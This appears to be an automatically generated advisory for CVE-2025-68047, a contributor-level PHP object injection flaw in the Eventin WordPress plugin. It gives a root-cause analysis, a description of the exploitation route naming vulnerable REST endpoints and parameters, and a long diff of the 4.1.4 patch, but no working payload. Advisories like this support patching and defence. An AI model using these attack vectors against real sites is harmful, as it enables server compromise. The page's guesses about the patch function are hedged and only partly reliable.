Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-68047: Eventin <= 4.1.3 – Authenticated (Contributor+) PHP Object Injection (wp-event-solution)

Severity High (CVSS 7.5)
CWE 502
Vulnerable Version 4.1.3
Patched Version 4.1.4
Disclosed January 21, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-68047:
The Eventin WordPress plugin version 4.1.3 and earlier contains an authenticated PHP object injection vulnerability. This flaw allows contributors and higher-privileged users to inject arbitrary PHP objects via untrusted deserialization in the plugin’s REST API endpoints. The vulnerability has a CVSS score of 7.5 and can lead to remote code execution when combined with a suitable gadget chain.

Root Cause:
The vulnerability exists in multiple REST API controllers where user-controlled data passes through the `maybe_unserialize()` function without validation. The primary entry points are in `/wp-event-solution/core/Order/OrderController.php` at lines 376, 377, 493, 495, and 496. These lines handle `etn_ticket_variations`, `pending_seats`, `seat_ids`, and `tickets` post meta values. The `maybe_unserialize()` function deserializes user-supplied data from these meta fields, enabling object injection when attackers control the serialized content. The `attendee-model.php` file also contains a related issue where the `get_attendees_by()` function accepts user-controlled `$key` and `$value` parameters for meta queries.

Exploitation:
Attackers with contributor-level access or higher can exploit this vulnerability by sending crafted REST API requests to Eventin endpoints. The primary attack vector targets the `/wp-json/eventin/v1/orders` endpoint with POST requests containing serialized PHP objects in parameters like `tickets`, `seat_ids`, or `etn_ticket_variations`. Attackers can also target attendee-related endpoints at `/wp-json/eventin/v1/attendees`. The payload consists of serialized PHP objects that, when deserialized, trigger destructive methods on existing classes. While Eventin itself lacks a useful gadget chain, common WordPress plugins and themes often provide suitable classes for code execution.

Patch Analysis:
The patch replaces all vulnerable `maybe_unserialize()` calls with `etn_safe_decode()` function calls throughout the codebase. This change appears in 13 locations across 7 different files, including `OrderController.php`, `OrderTicket.php`, `OrderExporter.php`, `OrderReport.php`, `RevenueReport.php`, and upgrade files `V_4_0_0.php` and `V_4_0_9.php`. The `etn_safe_decode()` function likely implements safe deserialization practices, possibly using JSON decoding instead of PHP unserialize, or implementing strict type checking and validation before deserialization. The patch also adds ticket inventory management logic to prevent stock manipulation when deleting orders or attendees.

Impact:
Successful exploitation allows authenticated attackers to execute arbitrary PHP code on the target WordPress installation. This can lead to complete server compromise, including data theft, file deletion, backdoor installation, and privilege escalation to administrator. The vulnerability requires contributor-level access or higher, but in multi-author WordPress sites, this access level is commonly granted to untrusted users. When combined with gadget chains from other plugins or themes, the impact escalates to remote code execution with the web server’s privileges.

Differential between vulnerable and patched code

Code Diff
--- a/wp-event-solution/build/js/dashboard.asset.php
+++ b/wp-event-solution/build/js/dashboard.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-media-utils', 'wp-primitives', 'wp-url'), 'version' => '0be6e5000bae13320915');
+<?php return array('dependencies' => array('moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-media-utils', 'wp-primitives', 'wp-url'), 'version' => '2c596ce1f8051d99b271');
--- a/wp-event-solution/build/js/feedback-modal.asset.php
+++ b/wp-event-solution/build/js/feedback-modal.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'wp-element', 'wp-i18n'), 'version' => 'd35bbec623082359fcdf');
+<?php return array('dependencies' => array('react', 'wp-element', 'wp-i18n'), 'version' => '6402b995e2b7e1ecd469');
--- a/wp-event-solution/build/js/gutenberg-blocks.asset.php
+++ b/wp-event-solution/build/js/gutenberg-blocks.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-primitives', 'wp-server-side-render'), 'version' => '2f7b47441cac65cc371e');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-primitives', 'wp-server-side-render'), 'version' => '8079282a46951db576ac');
--- a/wp-event-solution/build/js/i18n-loader.asset.php
+++ b/wp-event-solution/build/js/i18n-loader.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('wp-i18n'), 'version' => '8c994aa33ece729f1210');
+<?php return array('dependencies' => array('wp-i18n'), 'version' => '9ce615c290f8bfeb17c9');
--- a/wp-event-solution/build/js/index-ai-script.asset.php
+++ b/wp-event-solution/build/js/index-ai-script.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react'), 'version' => 'cd82cdece798591ada85');
+<?php return array('dependencies' => array('react'), 'version' => '16712e0496a912904e3d');
--- a/wp-event-solution/build/js/index-calendar.asset.php
+++ b/wp-event-solution/build/js/index-calendar.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('moment', 'react', 'react-dom', 'wp-element', 'wp-html-entities', 'wp-i18n'), 'version' => 'bc3f68215820d1a172a9');
+<?php return array('dependencies' => array('moment', 'react', 'react-dom', 'wp-element', 'wp-html-entities', 'wp-i18n'), 'version' => 'd1fe6522b25f4851cd69');
--- a/wp-event-solution/build/js/index-onboard.asset.php
+++ b/wp-event-solution/build/js/index-onboard.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-compose', 'wp-dom-ready', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n'), 'version' => '26cd550ab841df254349');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-compose', 'wp-dom-ready', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n'), 'version' => 'da22aef3eba1f0dd9f84');
--- a/wp-event-solution/build/js/module-purchase.asset.php
+++ b/wp-event-solution/build/js/module-purchase.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-media-utils', 'wp-primitives', 'wp-url'), 'version' => '6abaa8bd1fe6a5c4b77d');
+<?php return array('dependencies' => array('moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-media-utils', 'wp-primitives', 'wp-url'), 'version' => '8717f450baced0cc6600');
--- a/wp-event-solution/build/js/packages.asset.php
+++ b/wp-event-solution/build/js/packages.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-media-utils', 'wp-primitives', 'wp-url'), 'version' => '3fb5e8fdd9b27aa1b868');
+<?php return array('dependencies' => array('moment', 'react', 'react-dom', 'wp-api-fetch', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-media-utils', 'wp-primitives', 'wp-url'), 'version' => '7f28a0ffe06f1d2d8e5c');
--- a/wp-event-solution/build/js/template-builder-header-toolbar.asset.php
+++ b/wp-event-solution/build/js/template-builder-header-toolbar.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-compose', 'wp-data', 'wp-edit-post', 'wp-element', 'wp-html-entities', 'wp-i18n', 'wp-plugins', 'wp-url'), 'version' => '39b2615bc7c8734ddc3f');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-compose', 'wp-data', 'wp-edit-post', 'wp-element', 'wp-html-entities', 'wp-i18n', 'wp-plugins', 'wp-url'), 'version' => 'd3c07cb6986e09917de1');
--- a/wp-event-solution/core/Attendee/Api/AttendeeController.php
+++ b/wp-event-solution/core/Attendee/Api/AttendeeController.php
@@ -497,6 +497,20 @@
             );
         }

+        $attendee_details = $attendee->get_data();
+        $ticket_slug = $attendee_details['ticket_slug'] ?? '';
+        $event_id = $attendee_details['etn_event_id'] ?? '';
+
+        if (!empty($ticket_slug) && !empty($event_id)) {
+            $formatted_booked_tickets[] = [
+                'ticket_slug' => $ticket_slug,
+                'ticket_quantity' => 1
+            ];
+
+            EtnUtilsHelper::decrease_count_by_ticket_slug($formatted_booked_tickets, $event_id);
+        }
+
+
         do_action( 'eventin_attendee_deleted', $id );

         return $response;
@@ -526,8 +540,22 @@

             if ( $attendee->trash_post() ) {
                 $count++;
-
-                do_action( 'eventin_attendee_deleted', $id );
+
+                $attendee_details = $attendee->get_data();
+                $ticket_slug = $attendee_details['ticket_slug'] ?? '';
+                $event_id = $attendee_details['etn_event_id'] ?? '';
+
+                if (!empty($ticket_slug) && !empty($event_id)) {
+                    $formatted_booked_tickets = [];
+                    $formatted_booked_tickets[] = [
+                        'ticket_slug' => $ticket_slug,
+                        'ticket_quantity' => 1
+                    ];
+
+                    EtnUtilsHelper::decrease_count_by_ticket_slug($formatted_booked_tickets, $event_id);
+                }
+
+                do_action('eventin_attendee_deleted', $id);
             }
         }

@@ -976,4 +1004,4 @@

 		return $response;
 	}
-}
+}
 No newline at end of file
--- a/wp-event-solution/core/Attendee/attendee-model.php
+++ b/wp-event-solution/core/Attendee/attendee-model.php
@@ -70,10 +70,10 @@
      *
      * @return  array
      */
-    public function get_attendees_by( $key, $value ) {
+    public function get_attendees_by( $key, $value, $post_status = ['publish', 'trash'] ) {
         $args = [
             'post_type'      => 'etn-attendee',
-            'post_status'    => ['publish', 'trash'],
+            'post_status'    => $post_status,
             'posts_per_page' => -1,
             'meta_query'     => [
                 [
--- a/wp-event-solution/core/Emails/AdminEventReminderEmail.php
+++ b/wp-event-solution/core/Emails/AdminEventReminderEmail.php
@@ -82,9 +82,10 @@
         // Format date and time according to WordPress settings
         $date_format     = get_option( 'date_format' );
         $time_format     = get_option( 'time_format' );
-        $start_date      = wp_date( $date_format, strtotime( $event->etn_start_date ) );
+        $utc             = new DateTimeZone( 'UTC' );
+        $start_date      = wp_date( $date_format, strtotime( $event->etn_start_date ), $utc );
         $start_date_time = $event->etn_start_date . ' ' . $event->etn_start_time;
-        $start_time      = wp_date( $time_format, strtotime( $start_date_time ) );
+        $start_time      = wp_date( $time_format, strtotime( $start_date_time ), $utc );

         $placeholder = [
             '{%site_name%}' 	 => get_bloginfo( 'name' ),
--- a/wp-event-solution/core/Emails/AdminOrderEmail.php
+++ b/wp-event-solution/core/Emails/AdminOrderEmail.php
@@ -95,9 +95,10 @@
         // Format date and time according to WordPress settings
         $date_format     = get_option( 'date_format' );
         $time_format     = get_option( 'time_format' );
-        $start_date      = wp_date( $date_format, strtotime( $event->etn_start_date ) );
+        $utc             = new DateTimeZone( 'UTC' );
+        $start_date      = wp_date( $date_format, strtotime( $event->etn_start_date ), $utc );
         $start_date_time = $event->etn_start_date . ' ' . $event->etn_start_time;
-        $start_time      = wp_date( $time_format, strtotime( $start_date_time ) );
+        $start_time      = wp_date( $time_format, strtotime( $start_date_time ), $utc );

         $placeholder = [
 			'{%site_name%}' 	 => get_bloginfo( 'name' ),
--- a/wp-event-solution/core/Emails/AdminRsvpEmail.php
+++ b/wp-event-solution/core/Emails/AdminRsvpEmail.php
@@ -82,9 +82,10 @@
         // Format date and time according to WordPress settings
         $date_format     = get_option( 'date_format' );
         $time_format     = get_option( 'time_format' );
-        $start_date      = wp_date( $date_format, strtotime( $event->etn_start_date ) );
+        $utc             = new DateTimeZone( 'UTC' );
+        $start_date      = wp_date( $date_format, strtotime( $event->etn_start_date ), $utc );
         $start_date_time = $event->etn_start_date . ' ' . $event->etn_start_time;
-        $start_time      = wp_date( $time_format, strtotime( $start_date_time ) );
+        $start_time      = wp_date( $time_format, strtotime( $start_date_time ), $utc );

         $placeholder = [
             '{%site_name%}' 	 => get_bloginfo( 'name' ),
--- a/wp-event-solution/core/Emails/AttendeeCertificateEmail.php
+++ b/wp-event-solution/core/Emails/AttendeeCertificateEmail.php
@@ -87,9 +87,10 @@
         // Format date and time according to WordPress settings
         $date_format     = get_option( 'date_format' );
         $time_format     = get_option( 'time_format' );
-        $start_date      = wp_date( $date_format, strtotime( $event->etn_start_date ) );
+        $utc             = new DateTimeZone( 'UTC' );
+        $start_date      = wp_date( $date_format, strtotime( $event->etn_start_date ), $utc );
         $start_date_time = $event->etn_start_date . ' ' . $event->etn_start_time;
-        $start_time      = wp_date( $time_format, strtotime( $start_date_time ) );
+        $start_time      = wp_date( $time_format, strtotime( $start_date_time ), $utc );

         $placeholder = [
             '{%site_name%}' 	 => get_bloginfo( 'name' ),
--- a/wp-event-solution/core/Emails/AttendeeEventReminderEmail.php
+++ b/wp-event-solution/core/Emails/AttendeeEventReminderEmail.php
@@ -83,9 +83,10 @@
         // Format date and time according to WordPress settings
         $date_format     = get_option( 'date_format' );
         $time_format     = get_option( 'time_format' );
-        $start_date      = wp_date( $date_format, strtotime( $event->etn_start_date ) );
+        $utc             = new DateTimeZone( 'UTC' );
+        $start_date      = wp_date( $date_format, strtotime( $event->etn_start_date ), $utc );
         $start_date_time = $event->etn_start_date . ' ' . $event->etn_start_time;
-        $start_time      = wp_date( $time_format, strtotime( $start_date_time ) );
+        $start_time      = wp_date( $time_format, strtotime( $start_date_time ), $utc );

         $placeholder = [
             '{%site_name%}' 	 => get_bloginfo( 'name' ),
--- a/wp-event-solution/core/Emails/AttendeeOrderEmail.php
+++ b/wp-event-solution/core/Emails/AttendeeOrderEmail.php
@@ -87,9 +87,10 @@
         // Format date and time according to WordPress settings
         $date_format     = get_option( 'date_format' );
         $time_format     = get_option( 'time_format' );
-        $start_date      = wp_date( $date_format, strtotime( $event->etn_start_date ) );
+        $utc             = new DateTimeZone( 'UTC' );
+        $start_date      = wp_date( $date_format, strtotime( $event->etn_start_date ), $utc );
         $start_date_time = $event->etn_start_date . ' ' . $event->etn_start_time;
-        $start_time      = wp_date( $time_format, strtotime( $start_date_time ) );
+        $start_time      = wp_date( $time_format, strtotime( $start_date_time ), $utc );

         $placeholder = [
             '{%site_name%}' 	 => get_bloginfo( 'name' ),
--- a/wp-event-solution/core/Emails/AttendeeRsvpEmail.php
+++ b/wp-event-solution/core/Emails/AttendeeRsvpEmail.php
@@ -82,9 +82,10 @@
         // Format date and time according to WordPress settings
         $date_format     = get_option( 'date_format' );
         $time_format     = get_option( 'time_format' );
-        $start_date      = wp_date( $date_format, strtotime( $event->etn_start_date ) );
+        $utc             = new DateTimeZone( 'UTC' );
+        $start_date      = wp_date( $date_format, strtotime( $event->etn_start_date ), $utc );
         $start_date_time = $event->etn_start_date . ' ' . $event->etn_start_time;
-        $start_time      = wp_date( $time_format, strtotime( $start_date_time ) );
+        $start_time      = wp_date( $time_format, strtotime( $start_date_time ), $utc );

         $placeholder = [
             '{%site_name%}'      => get_bloginfo( 'name' ),
--- a/wp-event-solution/core/Order/OrderController.php
+++ b/wp-event-solution/core/Order/OrderController.php
@@ -373,8 +373,8 @@
             return new WP_Error( 'invalid_data', __( 'Invalid event ID or seat IDs.', 'eventin' ), ['status' => 400] );
         }

-        $event_tickets = maybe_unserialize( get_post_meta( $event_id, 'etn_ticket_variations', true ) );
-        $pending_seats = maybe_unserialize( get_post_meta( $event_id, 'pending_seats', true ));
+        $event_tickets = etn_safe_decode( get_post_meta( $event_id, 'etn_ticket_variations', true ) );
+        $pending_seats = etn_safe_decode( get_post_meta( $event_id, 'pending_seats', true ));
         if(empty($pending_seats)){
             $pending_seats = [];
         }
@@ -490,9 +490,9 @@
 			}

             $id        = intval( $request['id'] );
-		    $seat_ids = maybe_unserialize(get_post_meta($id, 'seat_ids', true));
+		    $seat_ids = etn_safe_decode(get_post_meta($id, 'seat_ids', true));
             $event_id = get_post_meta($id, 'event_id', true);
-            $tickets = maybe_unserialize(get_post_meta($id, 'tickets', true));
+            $tickets = etn_safe_decode(get_post_meta($id, 'tickets', true));

             if ( $status === "completed" ) {
                 if (!empty($seat_ids)) {
@@ -646,6 +646,21 @@

         $order = new OrderModel( $id );

+        if ($order->status) {
+            $booked_tickets = $order->tickets;
+            $formatted_booked_tickets = [];
+            if (!empty($booked_tickets)) {
+                foreach ($booked_tickets as $ticket) {
+                    $formatted_booked_tickets[] = [
+                        'ticket_slug' => $ticket['ticket_slug'],
+                        'ticket_quantity' => $ticket['ticket_quantity']
+                    ];
+                }
+            }
+
+            EtnUtilsHelper::decrease_count_by_ticket_slug($formatted_booked_tickets, $order->event_id);
+        }
+
         $previous = $this->prepare_item_for_response( $order, $request );

         do_action( 'eventin_order_before_delete', $order );
@@ -692,7 +707,20 @@

         foreach ( $ids as $id ) {
             $order = new OrderModel( $id );
-
+
+            $booked_tickets = $order->tickets;
+            $formatted_booked_tickets = [];
+            if (!empty($booked_tickets)) {
+                foreach ($booked_tickets as $ticket) {
+                    $formatted_booked_tickets[] = [
+                        'ticket_slug' => $ticket['ticket_slug'],
+                        'ticket_quantity' => $ticket['ticket_quantity']
+                    ];
+                }
+            }
+
+            EtnUtilsHelper::decrease_count_by_ticket_slug($formatted_booked_tickets, $order->event_id);
+
             do_action( 'eventin_order_before_delete', $order );

             if ( $order->delete() ) {
@@ -924,6 +952,7 @@
                     'etn_event_id'         => $event_id,
                     'etn_status'           => '',
                     'ticket_name'          => $ticket['etn_ticket_name'],
+                    'ticket_slug'          => $ticket_slug,
                     'etn_ticket_price'     => $ticket['etn_ticket_price'],
                     'etn_info_edit_token'  => md5( $ticket['etn_ticket_name'] ),
                     'etn_unique_ticket_id' => substr(md5($ticket['etn_ticket_price']), 0, 10),
--- a/wp-event-solution/core/Order/OrderExporter.php
+++ b/wp-event-solution/core/Order/OrderExporter.php
@@ -85,7 +85,7 @@
             $total_tax = floatval(get_post_meta( $order->id, 'tax_total', true ));
             $total_discount = floatval(get_post_meta( $order->id, 'discount_total', true ));
             $tax_display_mode = get_post_meta( $order->id, 'tax_display_mode', true );
-            $extra_fields = json_encode(maybe_unserialize(get_post_meta( $order->id, 'extra_fields', true )));
+            $extra_fields = json_encode(etn_safe_decode(get_post_meta( $order->id, 'extra_fields', true )));

             $final_total = $order->total_price - $total_discount;

--- a/wp-event-solution/core/Order/OrderTicket.php
+++ b/wp-event-solution/core/Order/OrderTicket.php
@@ -140,13 +140,13 @@
             if ( isset( $event_orders[$event_id] ) ) {
                 foreach ( $event_orders[$event_id] as $order_id ) {
                     // Get allocated seats
-                    $order_seats = maybe_unserialize( get_post_meta( $order_id, 'seat_ids', true ) );
+                    $order_seats = etn_safe_decode( get_post_meta( $order_id, 'seat_ids', true ) );
                     if ( is_array( $order_seats ) && ! empty( $order_seats ) ) {
                         $allocated_seats = array_merge( $allocated_seats, $order_seats );
                     }

                     // Get allocated tickets
-                    $order_tickets = maybe_unserialize( get_post_meta( $order_id, 'tickets', true ) );
+                    $order_tickets = etn_safe_decode( get_post_meta( $order_id, 'tickets', true ) );
                     if ( is_array( $order_tickets ) && ! empty( $order_tickets ) ) {
                         foreach ( $order_tickets as $ticket ) {
                             $ticket_slug = $ticket['ticket_slug'];
@@ -165,7 +165,7 @@
             }

             // Get event's pending seats
-            $pending_seats = maybe_unserialize( get_post_meta( $event_id, 'pending_seats', true ) );
+            $pending_seats = etn_safe_decode( get_post_meta( $event_id, 'pending_seats', true ) );
             if ( ! is_array( $pending_seats ) ) {
                 $pending_seats = [];
             }
@@ -184,7 +184,7 @@
             }

             // Get event tickets
-            $event_tickets = maybe_unserialize( get_post_meta( $event_id, 'etn_ticket_variations', true ) );
+            $event_tickets = etn_safe_decode( get_post_meta( $event_id, 'etn_ticket_variations', true ) );

             if ( is_array( $event_tickets ) ) {
                 $tickets_updated = false;
@@ -244,7 +244,7 @@
         $this->update_booked_seat($event, $order);
         $this->update_pending_seat($event, $order);

-        $booked_seats   = maybe_unserialize(get_post_meta($order->id, 'seat_ids', true));
+        $booked_seats   = etn_safe_decode(get_post_meta($order->id, 'seat_ids', true));
         $booked_tickets = $order->tickets;
         $formatted_booked_tickets = [];
         if (!empty($booked_tickets)) {
@@ -335,7 +335,7 @@
             return;
         }

-        $pending_seats = maybe_unserialize(get_post_meta($event->id, 'pending_seats', true));
+        $pending_seats = etn_safe_decode(get_post_meta($event->id, 'pending_seats', true));
         if (! is_array($pending_seats)) {
             $pending_seats = [];
         }
@@ -496,7 +496,7 @@

         // Update seat on refunded.
         $event_seats = get_post_meta( $event->id, '_etn_seat_unique_id', true );
-        $order_seats = maybe_unserialize(get_post_meta( $order->id, 'seat_ids', true ));
+        $order_seats = etn_safe_decode(get_post_meta( $order->id, 'seat_ids', true ));

         if ( $order_seats ) {
             $event_seats = explode(',', $event_seats );
@@ -653,8 +653,8 @@
      * @return  void
      */
     public function release_held_seats_and_tickets( $event_id, $seat_ids = [], $booked_tickets = [] ) {
-        $event_tickets = maybe_unserialize( get_post_meta( $event_id, 'etn_ticket_variations', true ) );
-        $pending_seats = maybe_unserialize( get_post_meta( $event_id, 'pending_seats', true ));
+        $event_tickets = etn_safe_decode( get_post_meta( $event_id, 'etn_ticket_variations', true ) );
+        $pending_seats = etn_safe_decode( get_post_meta( $event_id, 'pending_seats', true ));

         if ( ! is_array( $pending_seats ) ) {
             $pending_seats = [];
--- a/wp-event-solution/core/Reports/OrderReport.php
+++ b/wp-event-solution/core/Reports/OrderReport.php
@@ -68,7 +68,7 @@
      *
      * @return  array
      */
-    public static function get_orders( $data = [] ) {
+    public static function get_orders( $data = [], $event_id = null ) {
         $input      = new Input( $data );
         $start_date = $input->get( 'start_date' );
         $end_date   = $input->get( 'end_date' );
@@ -87,7 +87,14 @@
             ]
         ];

-        if ( ! current_user_can( 'manage_options' ) ) {
+        if ( ! empty( $event_id ) ) {
+            $args['meta_query'][] = [
+                'key'       => 'event_id',
+                'value'     => $event_id,
+                'compare'   => '=',
+            ];
+        }
+        elseif ( ! current_user_can( 'manage_options' ) ) {
             $event = new Event_Model();
             $event_ids = $event->get_ids_by_author( get_current_user_id() );
             $event_ids = ! empty( $event_ids ) ? $event_ids : '';
--- a/wp-event-solution/core/Reports/RevenueReport.php
+++ b/wp-event-solution/core/Reports/RevenueReport.php
@@ -18,29 +18,29 @@
      *
      * @return  number
      */
-    public static function get_total_revenue( $dates = [] ) {
+    public static function get_total_revenue( $dates = [], $event_id = null ) {
         $total = 0;
-        $orders = OrderReport::get_orders( $dates );
+        $order_ids = OrderReport::get_orders( $dates, $event_id );

-        if ( $orders ) {
-            foreach( $orders as $order_id ) {
-                $order = new OrderModel( $order_id );
-                $total_price = floatval($order->total_price);
-
-                $raw_discount = $order->discount_total;
-                $float_discount = floatval($raw_discount);
-
-                $raw_tax = $order->tax_total;
-                $float_tax = floatval($raw_tax);
-
-                // Check WooCommerce tax display setting
-                $tax_display_mode = get_option( 'woocommerce_tax_display_shop' );
-
-                if ( $tax_display_mode === 'incl' ) {
-                    $total += $total_price - $float_discount;
-                } else {
-                    $total += $total_price - $float_discount + $float_tax;
-                }
+        if ( empty( $order_ids ) ) {
+            return $total;
+        }
+
+        // Batch-load all order meta in a single query
+        update_meta_cache( 'post', $order_ids );
+
+        // Get tax display mode once, outside the loop
+        $tax_display_mode = get_option( 'woocommerce_tax_display_shop' );
+
+        foreach ( $order_ids as $order_id ) {
+            $total_price    = floatval( get_post_meta( $order_id, 'total_price', true ) );
+            $float_discount = floatval( get_post_meta( $order_id, 'discount_total', true ) );
+            $float_tax      = floatval( get_post_meta( $order_id, 'tax_total', true ) );
+
+            if ( $tax_display_mode === 'incl' ) {
+                $total += $total_price - $float_discount;
+            } else {
+                $total += $total_price - $float_discount + $float_tax;
             }
         }

--- a/wp-event-solution/core/Upgrade/Upgraders/V_4_0_0.php
+++ b/wp-event-solution/core/Upgrade/Upgraders/V_4_0_0.php
@@ -126,7 +126,7 @@
             'rsvp_attendee_form_limit'       => get_post_meta( $event_id, 'etn_rsvp_attendee_form_limit', true ),
             'rsvp_miminum_attendee_to_start' => get_post_meta( $event_id, 'etn_rsvp_miminum_attendee_to_start', true ),
             'show_rsvp_attendee'             => get_post_meta( $event_id, 'etn_show_rsvp_attendee', true ),
-            'rsvp_form_type'             => maybe_unserialize( get_post_meta( $event_id, 'etn_rsvp_form_type', true ) ),
+            'rsvp_form_type'             => etn_safe_decode( get_post_meta( $event_id, 'etn_rsvp_form_type', true ) ),
         ];

         return $rsvp;
--- a/wp-event-solution/core/Upgrade/Upgraders/V_4_0_9.php
+++ b/wp-event-solution/core/Upgrade/Upgraders/V_4_0_9.php
@@ -64,7 +64,7 @@
                     'payment_method'    => $payment_method,
                     'status'            => $status,
                     'user_id'           => $report->user_id,
-                    'tickets'           => $this->prepare_tickets(maybe_unserialize($report->ticket_variations) ),
+                    'tickets'           => $this->prepare_tickets(etn_safe_decode($report->ticket_variations) ),
                     'total_price'       => $report->event_amount,
                 ];

--- a/wp-event-solution/core/event/Api/CategoryController.php
+++ b/wp-event-solution/core/event/Api/CategoryController.php
@@ -6,6 +6,8 @@
  */
 namespace EventinEventCategoryApi;

+use EventinEventCategoryExporter;
+use EventinEventCategoryImporter;
 use WP_Error;
 use WP_REST_Controller;
 use WP_REST_Server;
@@ -91,6 +93,32 @@
                 ),
             ),
         );
+
+        // Export route
+        register_rest_route(
+            $this->namespace,
+            '/' . $this->rest_base . '/export',
+            array(
+                array(
+                    'methods'             => WP_REST_Server::CREATABLE,
+                    'callback'            => array( $this, 'export_items' ),
+                    'permission_callback' => array( $this, 'export_permissions_check' ),
+                ),
+            ),
+        );
+
+        // Import route
+        register_rest_route(
+            $this->namespace,
+            '/' . $this->rest_base . '/import',
+            array(
+                array(
+                    'methods'             => WP_REST_Server::CREATABLE,
+                    'callback'            => array( $this, 'import_items' ),
+                    'permission_callback' => array( $this, 'import_permissions_check' ),
+                ),
+            ),
+        );
     }

     /**
@@ -110,35 +138,67 @@
      * @return WP_Error|WP_REST_Response
      */
     public function get_items( $request ) {
-    $prepared_args = array(
-        'taxonomy'   => $this->taxonomy,
-        'hide_empty' => false,
-    );
-
-    $query_result = get_terms( $prepared_args );
-
-    $response = array();
-
-    foreach ( $query_result as $term ) {
-        $item = $this->prepare_item_for_response( $term->term_id, $request );
-
-        // Get the parent term name if the parent term exists
-        if ( $term->parent ) {
-            $parent_term = get_term( $term->parent, $this->taxonomy );
-            if ( ! is_wp_error( $parent_term ) ) {
-                $item['parent_name'] = $parent_term->name;
-            } else {
-                $item['parent_name'] = null; // or some default value
+        $per_page = ! empty( $request['per_page'] ) ? intval( $request['per_page'] ) : 20;
+        $paged    = ! empty( $request['paged'] ) ? intval( $request['paged'] ) : 1;
+        $offset   = ( $paged - 1 ) * $per_page;
+
+        $prepared_args = array(
+            'taxonomy'   => $this->taxonomy,
+            'hide_empty' => false,
+            'number'     => $per_page,
+            'offset'     => $offset,
+        );
+
+        // Filter by parent category
+        if ( isset( $request['parent'] ) && $request['parent'] !== '' ) {
+            $prepared_args['parent'] = absint( $request['parent'] );
+        }
+
+        // Filter by search string
+        if ( ! empty( $request['search'] ) ) {
+            $prepared_args['search'] = sanitize_text_field( $request['search'] );
+        }
+
+        $query_result = get_terms( $prepared_args );
+
+        // Get total count for pagination
+        $count_args = $prepared_args;
+        unset( $count_args['number'], $count_args['offset'] );
+        $count_args['fields'] = 'count';
+        $total_items = (int) get_terms( $count_args );
+
+        $items = array();
+
+        if ( ! is_wp_error( $query_result ) ) {
+            foreach ( $query_result as $term ) {
+                $item = $this->prepare_item_for_response( $term->term_id, $request );
+
+                // Get the parent term name if the parent term exists
+                if ( $term->parent ) {
+                    $parent_term = get_term( $term->parent, $this->taxonomy );
+                    if ( ! is_wp_error( $parent_term ) ) {
+                        $item['parent_name'] = $parent_term->name;
+                    } else {
+                        $item['parent_name'] = null;
+                    }
+                } else {
+                    $item['parent_name'] = null;
+                }
+
+                $items[] = $item;
             }
-        } else {
-            $item['parent_name'] = null; // or some default value
         }

-        $response[] = $item;
-    }
+        $total_pages = $per_page > 0 ? (int) ceil( $total_items / $per_page ) : 0;

-    return rest_ensure_response( $response );
-}
+        $data = [
+            'total_items' => $total_items,
+            'items'       => $items,
+        ];
+
+        $response = rest_ensure_response( $data );
+        return $response;
+    }

     /**
      * Get one item from the collection.
@@ -411,4 +471,70 @@

         return $prepared_data;
     }
+
+    /**
+     * Export categories
+     *
+     * @param WP_REST_Request $request Full data about the request.
+     * @return WP_Error|void
+     */
+    public function export_items( $request ) {
+        $format = ! empty( $request['format'] ) ? sanitize_text_field( $request['format'] ) : '';
+        $ids    = ! empty( $request['ids'] ) ? $request['ids'] : '';
+
+        if ( ! $format ) {
+            return new WP_Error( 'format_error', __( 'Invalid data format', 'eventin' ), [ 'status' => 400 ] );
+        }
+
+        if ( ! $ids ) {
+            $ids = CategoryExporter::get_ids();
+        }
+
+        $exporter = new CategoryExporter();
